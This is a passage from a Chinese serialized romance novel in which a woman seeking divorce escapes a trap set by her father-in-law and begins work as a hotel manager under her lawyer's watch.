但受罪也是真受罪。 傅东擎看出来了,直接蹲下身把她的鞋脱了,握着她的脚帮她按摩。 宋凝皱眉往回抽了抽,傅东擎蹙眉斥了一声:“别动,按摩一下有利于血液循环,你会舒服一些。你怎么突然想起来穿高跟鞋了?为了见那个老头子?” 宋凝突然警觉起来:“你没对吴教授做什么吧?” 傅东擎的脸色立马沉了下来:“真是为了他?” “不是我说,你什么理解能力?” “抱歉,我太太最近不乖,我谁都得提防。” “那你怎么不提防丁予期呢?” 说到这里,傅东擎手上的动作顿了顿,目光又落在了那双黑色的高跟鞋上。 “这鞋……什么牌子?” 面试的时间赶得很紧,宋凝图快,就是网上随便买的,还真没注意是什么牌子的。 他弯下腰,把鞋子反过来,看了看鞋底的logo。 “香奈耳?” 他挑眉:“挂不得脚疼,买鞋都不买好的,穿一双高仿。” 正说着,不远处有人叫他:“东擎!” 丁予期是一个人来的,一屁股在他旁边坐下,哥俩好似得搂住他的肩膀拍了拍:“为了你我可是抛下美人儿来赴约,今天你高低得敬我三杯。” 傅东擎狐疑:“弟妹呢?” “哦,她害羞,下次吧。” 傅东擎突然微微笑了起来,但笑里面明显带了尖锐的戾气:“是害羞,还是根本就没有这个人?” 丁予期握着酒杯的手微微顿了一下:“什么意思?” 傅东擎用食指勾起地上的那只黑色高跟鞋:“我发现了一件好玩的事情。今天在电梯里遇到你跟弟妹的时候,她脚上穿着的那双高跟鞋,跟阿凝的一模一样。” 丁予期若无其事的继续喝酒,轻抿了一口,眯着眼睛笑:“这有什么奇怪的,她们女生的高跟鞋就那几种款式,撞了吧。” “真的?” 丁予期突然眼睛一转,看向了宋凝:“宋小姐陪我喝一杯?” 宋凝一脸嫌恶:“滚。” 丁予期对傅东擎说:“看到了吗?陪我喝一杯都不愿意,你还指望着她能乖乖被我抱着?她的脾气你还不知道?早一拳揍我脸上了。” 说完,他好像没事人似的,继续喝酒。 傅东擎思索了一会儿,像是在考虑他这话的真实性。 方才宋凝所表现出来对丁予期的厌恶不是假的,丁予期从出现到现在,几乎也没看过宋凝一眼。 应该真的是他想多了。 黑色漆皮细高跟,或许丁予期的女人穿的是正版香奈儿,宋凝脚上这双是仿人家的。 他真是昏头了,这两个不对盘了十几年,一见面就斗得像乌眼鸡一样的两个人,怎么可能有暧昧。 傅东擎摇着头自嘲地笑了一下。 丁予期问他:“笑什么?” “笑我现在神经敏/感,草木皆兵。” “热搜我看到了,”丁予期说:“我已经让人去撤了,不过我觉得你还是再好好想想吧,一边是老婆孩子热炕头,一边是个牛板筋一样的小犟种,你再好好选选。” 宋凝:“你才牛板筋,你全家都牛板筋。” 丁予期:“你看你现在这个样子,你不是牛板筋谁是?” 傅东擎:“好了,你们能不能和平相处哪怕五分钟?” 丁予期呵呵:“是她先骂我的。” 宋凝立刻回怼:“丁律觉得牛板筋是骂人吗?如果是的话,那也是你先骂得我。” 丁予期两手一摊:“东擎,我真不明白,你这飞醋怎么有朝一日还能吃到我头上来,真是匪夷所思。” 傅东擎跟他碰了一下:“抱歉,最近事情多,确实是有些神经紧绷,你别往心里去。” 正说着,丁予期来了个微信视频。 他笑了一下,接起来:“睡醒了?” 对面是个很温柔的女声:“嗯,好困啊,你出去了吗?” “跟兄弟喝几杯,你醒了就叫酒店服务,我让他们给你煮了粥。” “哦,好,那你早点回来啊。” 傅东擎抬起眼看了一下:“原来你心心念念了十多年的姑娘,长这个样子啊?之前藏得那么神秘,照片也不给看,总算是见到庐山真面路了。” 丁予期嘿嘿笑:“可爱吧?” “嗯,确实挺可爱的。”傅东擎又把宋凝的脚放在了自己的膝盖上,轻轻的揉:“但还是没我们家阿凝漂亮。” 丁予期的目光落在他正在给宋凝揉脚的手上,瞳孔微缩。 但是很快就移开了视线,一仰头,猛地灌完了一杯冰酒。 﨔 第二十四章 守好你自己 宋凝猛地抽回了自己的脚,塞进了高跟鞋里。 傅东擎的手僵在半空,“不是说脚疼?” 宋凝:“你们喝,我去个洗手间。” 她站起来要走,傅东擎条件反射地也跟着站了起来:“我跟你一起回去。” 丁予期拉住了他:“你好歹也是个公司总裁,怎么跟牛皮糖一样?把我从温柔乡里叫出来,现在要把我一个人扔在这里?像话吗?” 傅东擎面露犹豫:“你不知道,她最近在跟我闹离婚。而且这小骗子狡猾的很,今天差点在我眼皮子底下跑了。” 丁予期没说话,只是轻笑着喝酒。 他不知道谁知道? 他不仅知道,还知道的比你还细致。 宋凝说:“放心,唐婷还在你手里,我不敢跑。” 她踩着高跟鞋,跟服务生问了洗手间的方向,走了过去。 看着她的背影离开,傅东擎恨恨咬了咬牙,也是一瓶酒一口气闷了半瓶下去。 只是他的手机又不依不饶地响了起来。 傅东擎烦躁的直接挂断了。 丁予期斜着眼睛看他:“你妈的电话都不接?” 傅东擎蹙眉:“心烦。” “你自己把人家姑娘肚子搞大的,你心烦个什么劲儿。” 这话说的有几分风凉话的意味。 但是傅东擎心里有事,根本没怎么听出来,只是一个劲儿的烦躁:“我就不懂了,根本就没进去,怎么会就怀上了?” 丁予期:“我还听说过有个姑娘去游泳给游怀孕的呢,小概率事件吧,但确实有几率发生。” “这么小的几率为什么就砸我头上了?靠!” 傅东擎越说越懊恼,把剩下半瓶酒又一口气喝光了。 丁予期嗤嗤地笑:“你能怪谁?还不是你的东西质量太好了,动力太足。” 傅东擎瞪了他一眼:“嫉妒我?” “我嫉妒什么……”丁予期张口就要反驳,可是话在嘴里过了一圈,他突然苦笑了一下:“确实,我很嫉妒你。” 嫉妒了十几年。 嫉妒地快要发疯了。 …… 宋凝在洗手台抽出纸巾,擦了擦手上的水渍。 脚疼的不行。 好像是小拇指的位置磨破了,疼的钻心。 果然是一分价钱一分货,这种高仿的鞋子看着还不错,谁穿谁知道。 忍着疼走出去的时候,却被叫住了。 “喂——” 丁予期靠在洗手间外面的墙壁上,单腿支撑身体,另一条腿曲起,站的松松垮垮的,好像还有几分迷蒙的醉意。 宋凝:“吓我一跳,我还以为是傅东擎又来逮我了。” “他来不了,”丁予期说:“林澜说是有小产的迹象,被他妈紧急召回去了。” 宋凝不由得松了一口气。 走了就好。 这人现在就是个疯子,居然用唐婷威胁她。 “你还想离婚吗?” 宋凝翻了个白眼:“废话。” “可我看今天傅东擎给你揉脚的时候,你不也没拒绝?挺舒服的是吧?” 宋凝不禁觉得有些奇怪,“要不下次你也把鞋脱了,把脚伸到他怀里,让他给你试试?” 丁予期站直了身体,缓缓走了过来:“今天为什么突然从我家离开?” “因为……” “因为傅东擎来了,你就迫不及待去见他?” 宋凝突然觉得这个世界变得非常诡异。 怎么一个两个都好像要抓她的奸。 “丁律,你放心好了,我百分之一万地想离婚。” 丁予期嗤笑:“我看未必,我没来之前,你们两个应该挺火热的吧?” 说着,他用眼神点了点宋凝的脖子和锁骨。 宋凝伸手拉了拉衣领。 今天在酒店那会儿傅东擎太激动,在她脖子上弄出来了好几个印子。 她的皮肤向来都比较脆弱,稍微用力印子就特别明显。 丁予期的眸光渐渐变得锐利起来:“宋小姐,我的时间有限,没空陪你玩欲擒故纵的游戏。你要是还这么言行不一,拖拖拉拉,那你的离婚律师趁早换个人。” 宋凝叹了口气:“你明知道我现在没人可以换。” 傅东擎的名字一出,哪个律师还帮她离婚? 而且还是瞒着他,拿着委托书去先斩后奏的办离婚。 就像之前方律师说的,她离婚了可以解脱,傅东擎的报复都会反扑到律师身上。 也就是丁予期这种,他的铁杆兄弟,他不至于下死手。 “那就守好你自己,”丁予期冷冷地说:“无论是身体,还是心。” 宋凝打车回了酒店。 直奔唐婷的房间。 屋子里,那写黑衣保镖还在,唐婷已经满血复活了,正站在桌子上大骂。 “唐婷。” 唐婷飞速从桌子上跳了下来:“你怎么来了?!” 她拼命给宋凝使眼色,压低声音说:“傅东擎来抓你了,带了不少人,你赶紧走,回你那个安全的地方去,我掩护你。” 说罢,就像是老母鸡一样张开双臂护在她身前。 宋凝拉住她的手:“没事,我见过傅东擎了。” “他找到你了?!我靠,这个王八蛋,他怎么找到你的?” 看样子,唐婷的记忆还停留在那通电话的时候。 她根本不知道傅东擎对她做了什么,更不知道宋凝早已经来过一次了。 珊珊也在,只是眼神躲闪着,不敢去看唐婷。 这小助理不错,一直挺护着唐婷的,没有把方才发生的事情告诉唐婷。 宋凝微微放了心:“你有没有什么不舒服的地方?” “有点头疼,不过现在都好了。傅东擎真不是个东西啊,竟然给我下蒙汗药!他一个堂堂总裁,怎么还会这种下三滥的江湖伎俩。” 看到唐婷没事,宋凝悬着的心总算是回到了原味。 她看了一眼客厅一排排站好的黑衣保镖,问了一句:“是傅东擎让你们监视我的?” 其中一个领头的说:“是的,太太。傅总有事先回了H市,他交代过,他不在的这段时间,你不能离开我们的视线,请您见谅。” “行,”宋凝也没说什么:“我现在要回我自己的房间睡觉,你们来吗?” 唐婷连忙去拉她:“你就在我这睡吧。” “要是被狗仔拍到你房间里这么多男人,回头又要看图说话给你造黄谣了。那群狗仔不就爱干这个么?” 唐婷偏头骂了一句脏话。 宋凝对黑衣保镖们说:“走吧。” 她回了自己的房间,径直去了卧室,把自己扔在床上。 黑衣保镖们大多也都知道自家老板是个什么醋坛子,没敢再上前。 不过他们明显是被交代过的,几个去了阳台,几个去了客卧,几个去了厨房,剩下的全都留在客厅里,一动不动地盯着宋凝的卧室门。 这是生怕她跑了,提前布局,把所有的可能性都堵死。 电话响起,宋凝抓起手机。 居然是傅学森打来的? “你儿子已经回去了,还给我打电话干什么?” 傅学森说:“宋小姐,一个亿的现金收了,你还真是心安理得啊。” 宋凝冷笑:“那你说服你儿子跟我去办手续啊,我一秒钟都不耽误。” “我现在就在你隔壁房间里,你过来一趟,签个字。” “签什么字?” “承诺你收了钱就一定会办事,不然一个亿白拿的?” “你要是信不过我,何必先打钱?” 傅学森冷笑了一声:“宋小姐,你爸爸的酒店……还想要吗?” 宋凝一骨碌坐了起来。 﨔 第二十五章 反将一军 “你怎么知道我爸爸的事。” 傅学森的声音明显有几分戏谑:“你嫁给我儿子这么多年,我怎么可能对你一无所知?” 宋凝面色凝重,握紧的手机:“你刚刚说的话是什么意思?我爸爸的酒店跟你有什么关系?” “你爸爸酒店的产权,现在在我手里。” “什么?!” “当初做局坑了你爸爸的那几个人,这些年赌得赌赔的赔,早已经把从你爸爸那里骗来的前挥霍一空了,还欠了不少外债。这不,就把酒店便宜卖给了我。” 宋凝顿时警觉起来。 之前丁予期提醒过他,她这两位前公婆,也不是什么善男信女。 她一个人单枪匹马就这么过去了,很难预料到会发生什么事。 傅学森还在循循善诱:“过来面谈,我可以考虑把酒店也还给你,只要你跟我儿子离婚,一切都好说。” 话说到这里,宋凝心里已经完全肯定了。 隔壁房间里绝对是有陷阱在等着她! 他们夫妻两个,一个打电话把傅东擎叫回H市,另一个却已经来了S市,这分明就是调虎离山计! 宋凝思索了一下,心中已经有了对策。 她轻笑了一下:“好,我换个衣服就来,稍等。” 傅学森浑然未觉:“可以,等你。” 挂了电话,宋凝给唐婷打了个电话:“婷婷,我有件事,需要你帮我办一下。” 唐婷听完,立马说道:“这事儿还不好办?你瞧好吧!” …… 十分钟后,宋凝听到了隔壁房间门铃被按响的声音。 她飞快地从房间里走了出来,趴在猫眼上看。 只见十几个荷枪实弹的武警全都蓄势待发,等在外面。 门一开,十几个警察瞬间一涌而上,“别动,警察——” 不一会儿,她就看到了傅学森为她准备的“好戏”。 大概有七八个浑身光着的男子被警方押了出来,警方也算是很有人道主义精神,给他们腰间都围上了浴巾。 与此同时,还有一些警察在进进出出,从房间里面拿出来了不少东西。 长的短的,放的圆的,应有尽有。 宋凝不认识,但唐婷可一下子就认了出来。 “好家伙,这么多摄影机?!还有收音设备和针孔的,这么专业的吗?” 警方对唐婷说:“唐小姐,很感谢你的热心举报,我们虽然没有收缴到毒品,但其中有几个人的确是瘾君子,而且现场也缴获了少量迷/药,谢谢你为S市做出的共线。” 唐婷摆摆手:“好说好说,只要能惩恶扬善,一切都值得。” 迷/药,一大群光溜溜的男人,打量的拍摄设备—— 如果宋凝真的傻傻过去了,恐怕等待着她的,就是被一群男人侵犯,然后拍下录像,各个角度,无死角。 房门被敲响了。 宋凝打开门,唐婷闪身进来。 豁的一下,客厅里的黑衣保镖们全都站了起来,严阵以待。 宋凝无奈的说:“我朋友来找我,有问题吗?” 黑衣人说:“没问题,只要太太您不逃跑就行。” 宋凝拉着唐婷回了卧室。 唐婷一路上都在后怕:“傅东擎他爸这是要彻底毁了你啊!如果你不离婚,他就把今天拍下的录像放到网上……天呐,简直不是人!” 宋凝倒是没有太大的情绪波动。 傅学森对她这个儿媳原本就不满意,会动手也是意料之中。 只是她觉得很悲哀,为什么男人们能想到毁掉一个女人的方式,竟然这么龌龊。 几年前的唐婷遭遇过一次,几年后的她,也险些重蹈覆辙。 “阿凝,多亏了你反应快,让我去举报那间屋子有人瘾君子聚集,不然后果真的不堪设想!” 宋凝也觉得有些后怕。 “对了,这件事你要不要告诉傅东擎?让他也知道自己的爹干了什么好事!” “他会知道的。” 唐婷眨了眨眼:“什么意思?” 宋凝轻笑:“你猜我为什么让你打电话举报,而不是我自己举报?” 跟宋凝猜想的一样。 娱乐狗仔的嗅觉,总是比官方媒体要快的多。 当天下午,唐婷这位热心市民举报瘾君子聚集点的消息就已经刷满了整个互联网。 唐婷的粉丝们都在夸她“正直勇敢”、“聪明果断”。 还有人夸她是“朝阳区群众S市分部”。 唐婷的知名度瞬间更上了一层楼,而且都是正面评价。 而且由于她的知名度,这件事在网上传的沸沸扬扬,到了晚上,官方也出了一则蓝底白字的通告。 【经调查,刘某等八人系受人指使,意图对某特定女子进行侵犯被录下视频证据,以此换取金钱当做毒资。警方已经将几人进行行政拘留,案件正在等待进一步调查。】 微博下面,好多吃瓜群众纷纷都在问。 “主谋是谁?” “受谁的指使?” “女孩子没事吧?” 官方账号跳过了前两个问题,回答了最后一个:“目标女子并未出现,所以并没有收到侵害,请大家放心。” 唐婷直接“呸”了一声:“就在你隔壁房间,明晃晃是冲着你来的啊!傅东擎再傻都知道是谁做的吧!” 宋凝呵呵:“那又能怎么样,到底是他爸。他还能为了我把他爸送进局子吗?” 唐婷摸了摸下巴:“那应该是不能。” 那不就结了。 在父母和女人的选择里,不管男人嘴上怎么说,实际行动肯定是选父母的。 不过宋凝也不怪他。 就算是他们最相爱的时候,如果傅东擎和她爸妈掉进水里,她也一样会选择救爸爸妈妈的。 不过宋凝没有这个机会了。 她的爸爸在狱中惨死,妈妈郁郁而终,她根本就没有做这个选择题的资格。 唐婷的手机响了起来。 她看了一眼,问宋凝:“傅东擎的,接不接?” 宋凝说:“接吧,我倒想听听他还想说什么。” 唐婷按下了接听键。 “唐婷,你现在跟阿凝在一起吗?” 唐婷直接说:“我开了免提,你说吧,阿凝听得到。” 傅东擎深吸了一口气,似乎疲惫不已:“阿凝,对不起,我不知道我爸妈他们……” “傅先生,这句话我已经听了很多遍了,不想再听这些没用的废话。” 傅东擎一窒。 他苦笑着叹了口气:“我这几天可能都得留在H市,没办法过去陪你了。不过予期在,我已经拜托了他照顾你,你有什么事就给他打电话。” “你确定他愿意照顾我?!” “总归是我的好兄弟,看在我的面子上也会护着你的。”傅东擎说:“阿凝,你再给我点时间,等我处理好这些事,就去S市接你回来。” 宋凝直接挂了电话。 一个月后,不用他接,她也会自己回去的。 领离婚证。 宋凝是在第二天一早收到卫斯理酒店的电话的。 “您好宋小姐,经过我们老板慎重评估,恭喜您应聘成功,成为卫斯理的酒店经理。请您准备好身份证和学历证明,下午过来人事部办理入职手续。” 录用了?! “你们老板定的?” “是的,是老板亲自交代的。” 宋凝还是觉得不对劲:“他能有这么好心?” 秘书轻笑了一下:“对了,老板还说,您还欠他几十万的债务,他怕您赖账跑了,还是放在眼皮子底下稳妥些。” 宋凝内心在怒吼。 丁予期!!! 你个周扒皮!! 﨔 第二十六章 生活助理,包括性.生活吗? 第二天,宋凝按照约定好的时间去了64楼人事部。 秘书已经在这里等着她了:“宋小姐你来了。” 宋凝点了点头:“你好,我来办理入职。” “好的,你跟我来。” 秘书带她去领了工卡和制服,不过在最后签劳务合同的时候,宋凝看到了两个熟悉的人。 一个是常青藤男生,还有个超短裙辣/妹。 秘书说:“他们今天也是来办理入职的,你们面试的时候应该已经见过面了吧?那我正式给你们介绍一下,这位是陈靖,以后是技术部的副经理,这位叫林晓筠,是丁总的生活助理。” 酒店经理变生活助理? 宋凝不禁很想问一句:生活助理,包括性/生活吗? 这位从面试开始明摆着就是有后台的呀! 宋凝打量了一下林晓筠,个子不高,但是看起来很有活力,精力充沛。 今天依旧是小背心加超短裙的打扮,肤色偏黑,还是个黑皮辣.妹! 原来丁予期喜欢的这一款? 她在打量林晓筠的时候,对方也在打量她。 末了,林晓筠还冲她挥挥手:“你好啊,手下败将。” 宋凝:“……” 果然,一个被窝睡不出两种人,嘴都跟吃了毒菌子一样毒。 不过人家现在身份高贵,跟她这种只是来求一份工作的人可不一样,得罪不得。 于是宋凝笑了笑,也打了招呼:“你好,陈经理,以后的工作还希望多多指教。” 陈靖点点头:“应该的。” “上次面试的时候我们见过。” “我记得,当时我也觉得你会是我最大的竞争对手,没想到现在居然会成为同事。” “能成为同事也是缘分,丁总能录用你和我,说明他还是爱惜人才的。” 陈靖哼了一声:“那可不好说。” 宋凝忍俊不禁,“人总有七情六欲,正常。” 两个人聊得火热,反正是没理林晓筠。 宋凝不想得罪谁,但她也不是软柿子。 温柔一刀阴阳一下总是会的。 签完合同,秘书说:“我现在带你去客房部,熟悉一下酒店的布局和你以后的工作内容。” 宋凝问道:“不好意思,请问我该怎么称呼你?” “在酒店里我们几乎都叫英文名的,你叫我瑞贝卡就可以。”瑞贝卡说:“对了,你也尽快给自己取一个英文名哦,以后方便同事之前交流。” 宋凝点了点头:“好的。” 瑞贝卡带她逛了一下整个酒店,她语气温柔,讲解细致,说话声音也让人如沐春风。 正听的入神,突然听到前面不远处一个房间有客人在发火。 “……我定的也是商务套房,为什么其他套房的床上都有装饰品,我的就没有?” 服务生只能礼貌道歉:“真是不好意思刘小姐,我现在立刻就去联系客房部的同事,帮您处理好。” 客人仍旧不满意:“这是补上不补上的问题吗?这是你们压根就对我不重视!我可是你们酒店的常驻客户,每年都有三四个月要住在你们酒店里,你们就这么敷衍我?” “对不起,真的很抱歉。可能是因为阿姨收拾房间的时候忘记上报了,您看这样,我们赔偿您一周的免费住宿时间,您看可以吗?” “不可以!把你们经理叫来,今天必须给我个说法,不然我今天就搬走!” 瑞贝卡看了宋凝一眼。 宋凝想起来了,她就是今天新上任的酒店经理。 没想到她工作第一天,就先得处理纠纷,一上来就给她上强度啊! 宋凝整理了一下头发,然后喊着笑意走了过去:“您好刘小姐,我就是酒店经理,您有什么需求和投诉都可以跟我说,我来帮您解决。” 服务生没见过宋凝,对这个一上来就自称是酒店经理的人一脸懵逼。 不过她倒是看到了瑞贝卡。 瑞贝卡给她使了个眼色,服务生秒懂,微微往后退了一步,把战场留给了宋凝。 刘小姐突然改了口音,明明刚刚还是字正腔圆的普通话,现在一出口就成了方言。 配上快要翻上天的白眼,还有到处指来指去的手指头,机关枪一样巴拉巴拉的一顿输出。 最后,直接指到了宋凝的鼻子上。 口水也喷了她一脸。 瑞贝卡小声问服务生:“这个刘小姐什么情况?” 服务生一脸菜色:“大客户,但是挑剔的很,经常骂人。今天就是因为床上没有摆装饰用的布天鹅,觉得我们怠慢她。” 瑞贝卡问:“真没摆?” 服务生无奈极了:“她原本早上出去了,阿姨就进去打扫,打扫完这一层会我们会统一去放上装饰的,谁知道她刚出去十来分钟就回来了,还没来得及放。” 瑞贝卡点了点头:“联系客房部的人了吗?让他们赶紧来。” “联系了,但是……”服务生指了指房间里正蹲在床边的宋凝:“这个新来的经理,好像已经现场做了一对。” 宋凝不光做了一对天鹅,还做了一只大象,一只长颈鹿,一只兔子,还做了两只鸟。 一排排小动物整整齐齐的摆在床边,看起来憨态可掬又整齐划一,十分养眼。 宋凝站起来,笑着也说了一句方言。 听起来,跟那位刘小姐像是同一个地方的人。 刘小姐也有些意外:“你也温州人啊?温州话说的蛮地道的哦。” 宋凝说:“我妈妈是温州人,小时候在温州住过一段时间。” 刘小姐表情好看了许多:“你新来的啊?” “对,我今天刚刚入职,刘小姐以后您有什么需要都可以找我,我会帮你处理好,处理到您满意。” “……那你以后每天都来给我做床上的这些摆件,蛮好看的。” 瑞贝卡下意识想提醒她一句,当酒店经理是要服务好客户没错,但是不能什么无礼的要求都答应。 这样,只会让无礼的客人变本加厉,得寸进尺。 “宋经理……” 她刚想出声,就被人叫住了。 丁予期走了过来:“怎么了?” 瑞贝卡把情况大致说了,最后还很担忧的表示:“宋经理第一天上班就遇到这种难缠的客户,估计以后都得牺牲自己的假日,特地来为她服务了。” 丁予期挑了挑眉:“她?泥鳅似得滑不留手,不见得会吃亏。” 话音刚落,就听到宋凝对刘小姐说::“我也有休假日,所以很难保证每天都亲自来。不过我会教客房部的同事们学会做这些,以后他们会每天都给您换上新的摆件。” 刘小姐甩了甩手:“好吧好吧,看在你是老乡的份上,就这样吧。好了我要休息了,你们走吧。” 服务生啧啧称奇:“这样就搞定了?刘小姐怎么突然就这么好说话了?就因为宋经理会说温州话?” 瑞贝卡眼睛里全都是满意:“不全是,刘小姐这么闹,无非是因为没有满足她的虚荣心,宋经理给了她比别人更多更好看的摆件,显示出了我们对她的重视,她的要求就达到了,自然就不会再闹了。” 她看向丁予期,含笑说道:“还是丁总有眼光,选了个好员工。” 丁予期哼了一声,唇角却微微勾着:“她本事可大着呢,以后你们慢慢就能领教到了。” 他转身欲走,忽然又停住了脚步。 瑞贝卡问:“丁总还有什么吩咐?” 丁予期说:“让她去给我的房间也做一套动物园。” 﨔 第二十七章 滑不留手,属泥鳅的 宋凝没有走,她又顺手给刘小姐把窗帘也挽了一个花。 简简单单的一个结,却跟浅蓝色的窗帘格外相配,立马显得整个房间里多了几分温馨的味道。 走的时候,她还顺手整理了一下布艺沙发套,然后把刘小姐随手仍在沙发上的外套和包包都整整齐齐的挂了起来。 做完这一切,她才退出房间。 “刘小姐,有事的话您随时呼叫管家就行。” 刘小姐抱着手臂看着她干活,心里舒服多了,“你这个经理倒是不错。” “谢谢夸奖,那我出去了,祝您入住愉快。” 宋凝从房间里退了出来,只有瑞贝卡还在外面等她。 瑞贝卡笑着说:“看来我已经不需要给你做岗前培训了,你做得很好。以前做过相关工作吗?” “没有,大学毕业后就结婚了。” “那你怎么会这些的?” 宋凝说:“小时候我爸爸有一个酒店,我从小几乎都是在酒店里长大的。” “所以,动物园也是你爸爸教你的?” 动物园? 宋凝愣了一下才想起来,是她刚刚给刘小姐折的那一排布艺小动物。 她说:“是我妈妈。我妈妈心思很巧,手也巧,那时候我们家的酒店里这些布艺的小摆件很多种类都是我妈妈研究的,客人们都很喜欢。” “原来如此,那你为什么不在自己家的酒店工作,还要出来找工作呢?” 宋凝脸上的笑容淡去:“我爸爸的酒店……卖掉了。” “这样啊,真是抱歉。” “没事。” 瑞贝卡说:“还有个房间,可能也需要你以后重点关照一下。” 宋凝以为也是个难缠的客人,于是点了头:“我既然已经是卫斯理的酒店经理,那这就是我分内的工作,你带我过去吧。” 瑞贝卡直接带她上了顶楼。 酒店的顶楼是总统套房,还有个露台,是个露天游泳池。 一般住在这里的,非富即贵。 瑞贝卡说:“客人特意吩咐了,也想要一排小动物,辛苦你了。” “这里的客人刚刚看到了我给刘小姐做的那些小玩意儿?” 瑞贝卡只说:“你快进去吧,别让客人等急了。” 说完就走了。 宋凝只好硬着头皮敲门:“您好,客房服务。” 滴滴—— 门锁被打开了。 宋凝轻轻推开房门,客厅里没有人,只能听到浴室里传来哗啦啦的水声。 客人应该是正在洗澡。 宋凝快速去了卧室,蹲在床尾凳旁边做小动物。 刚做完一只小兔子,她就感觉到自己身后的方向好像有一股热气。 丁予期只围着浴巾,头发和身上都还湿漉漉的,就这么抱着手臂靠在门边看她干活。 宋凝忽的一下站了起来,飞快地背过身去:“你怎么出来了都不说一声?站在那怪吓人的。” 丁予期缓缓走了过来,低头看了一眼她刚刚做好的布兔子,拿起来捏了捏:“你是谁啊?我洗澡还是出来还得给你报备?” 宋凝突然反应过来:“瑞贝卡说的客人就是你?” “嗯哼。” “你是客人吗?你是主人吧!” 整个酒店都是他小丁总的,还在这装什么大尾巴狼! 丁予期在床边坐下,优哉游哉地说:“你是不是暗恋我呀?对我的一举一动这么关注?连我洗澡都要管。” 宋凝听完就毛了:“谁想管你?” 她站起来就要走。 丁予期拉住她的手腕轻轻一拽,宋凝差点摔他身上。 还好她眼疾手快,迅速侧了一下身子,这才没碰到他,而是整个人都摔到了床上。 她支起身子,愤怒道:“你干嘛呀?” 丁予期看着她:“没经过我的允许就自己进来了,还直奔我的卧室,现在还躺在我的床上……宋经理,你想干嘛?” 说完,还捻了捻刚刚抓过她的手指,那里似乎还残留着她的温度。 “真是滑不留手,属泥鳅的。” “是瑞贝卡让我来……” “喂——Ryan!卧槽!” 林晓筠愣住了。 现在这是什么情况? 丁予期明显刚洗完澡,而床上还躺着一个女人?! 宋凝明显也愣住了。 黑皮辣/妹? 听她的口气,好像跟丁予期很熟? 她突然有些福至心灵了。 林晓筠支吾着问了一句:“宋经理,我能问你一个问题吗?” “……你问。” “你们两个这是在干什么?” 宋凝:“如果我说我只是来做床边小摆件的,你相信吗?” 林晓筠看了看她,又看了看没事人一样大喇喇坐在旁边的丁予期,她表示不太相信。 宋凝问:“林小姐,我能也问你一个问题吗?” “你说。” “你离婚过吗?” 林晓筠:“???” 她指着丁予期:“你连这个都告诉她了?!” 丁予期举起双手,无辜地摇头:“我没说,不是我。” 宋凝已经从床上站了起来,又问了一句:“是刚离没多久吗?” 林晓筠瞪大了眼睛,控诉地指着丁予期的鼻子:“不是你说的还能是谁?她连时间都知道?!” 宋凝:“……那我懂了。” 林晓筠是个火爆脾气,也顾不得宋凝还在场,直接扑上去就掐丁予期的脖子。 “你个王八蛋啊,我的私事你往外说什么?老娘要掐死你!还有鞭打你!往你身上滴蜡烛油!” 丁予期压根不还手,只能连连求饶:“女侠饶命,女侠饶命……” 宋凝看呆了,但她更懂了。 她掰着手指头算了算,黑皮,小辣椒,S,这几个属性凑在一起,确实不太容易。 怪不得丁予期等了她这么多年,原来口味独特,是个抖M,人家结婚了还能一直等到离婚。 她非常有眼力界儿的退出了房间,还贴心地从外面把门锁好,换上了【请勿打扰】的灯牌。 …… H市,傅家。 气压低到保姆都不敢说话,把菜做好端上桌之后,就飞快逃离了现场,躲去了厨房。 蒋秀兰给傅学森盛了汤,“在警局里待了一天,喝点汤润润肺。” 傅学森砰的一声直接摔了筷子:“你养出来的好儿子!为了一个女人,把自己的亲生老子送进去蹲局子!” 蒋秀兰吓了一跳。 傅东擎慢条斯理的自己吃着饭:“您自己做的犯法的事,进去蹲不是很正常的事。王子犯法如庶民同罪,更何况您还不是。” “别说的这么冠冕堂皇!你不就是想为那个宋凝出气!?” “是,”傅东擎也放下了碗筷,直接承认了:“爸,妈,你们两个一个打电话把我骗回来,另一个设下陷阱给阿凝跳,不愧是多年的夫妻,配合够默契的啊。要不是阿凝反应够快,她现在的遭遇会是什么,你们想过吗?” “你怪我?如果她乖乖跟你离婚,我还能这么做?还不是她逼我们的。” 说到“离婚”两个字,傅东擎的眼神暗了暗。 宋凝跟他提过离婚,不止一次。 甚至为了躲他,还跑到了S市去。 她才不是死拖着不肯离,她是巴不得离了婚就跑,再也不回来了。 “是我不愿意跟她离婚,”傅东擎敛住眉目,说:“明天我就去接她回来。” “你敢?!”傅学森威胁他说:“那些照片你又不是没看过!她就是个破鞋!破抹布!为了一个保研名额都能陪一个老的能当她爸的教授睡觉!这种荡.妇,我给她找了十几个男人,她开心还来不及呢……” 哗啦—— 傅东擎猛地站了起来,直接掀翻了整个餐桌。 杯碗碟盘碎了一地。 﨔 第二十八章 谁也无法回到从前 傅学森和蒋秀兰哪里见过这样暴怒的儿子。 傅东擎神情冷峻,话里像是夹杂着凛冽的寒风:“爸,那是您儿媳妇,希望您口上积德。” 巨大的动静终于把保姆也给炸了出来。 她从厨房里匆匆赶来,看到的是整个餐厅都变成了一片狼藉。 饭菜撒了一地,汤粥到处蔓延,碎瓷片更是到处飞溅,有好几处都已经散落在了别墅大门口,可见傅东擎的愤怒。 傅学森也动了怒:“我从一开始就没有认过这个儿媳!我告诉你,只有能生出孩子的才是我们傅家的儿媳!其他闲杂人等不配进我傅家的门!” “好,”傅东擎冷笑:“我生不出孩子,我也算闲杂人等,这个门以后我也不进了。” 说完,转身就要走。 蒋秀兰赶紧去拉他:“儿子,你这是干什么?为了一个女人,值得吗?” “你和爸一点都不顾及我的感受,就给阿凝设了一个那么狠的局,你们就没想过我会不会难受?” 蒋秀兰叹了口气:“这个方法确实过激了点,但是你爸也是为了让你彻底了断了跟她的事。我们就是觉得……她跟那么多男人都上过床,你总不能还要她吧?” “我要!”傅东擎冷声说到:“今天我把话放在这里,不管她做了什么,发生了什么,我都要她!” 他大步流星离开了。 走到门边的时候,又回头补了一句:“你们稀罕林澜肚子里的孙子,继承人就算是有了,那我这个儿子也就不重要了。你们好好培养那个孩子吧,就当没生过我。” “你这说的什么话……” 砰! 巨大的摔门声让蒋秀兰接下来的话都成了空谈。 傅学森气的直跺脚:“那个女人到底给他灌了什么迷魂汤?” 家里的电话响了,保姆接了起来,对他们说:“老爷,太太,是林小姐打来的。” 蒋秀兰立马换了一副和蔼温柔的表情:“我来接我来接——” “澜澜,我是蒋阿姨,这么晚了,有什么事吗?” 林澜吸了吸鼻子:“蒋阿姨。” “怎么哭啦,别哭别哭,你现在哭对孩子不好的。有什么委屈跟蒋阿姨说,好不好?” “对不起蒋阿姨,是我出了馊主意,才害的傅伯伯被警察抓走了。” 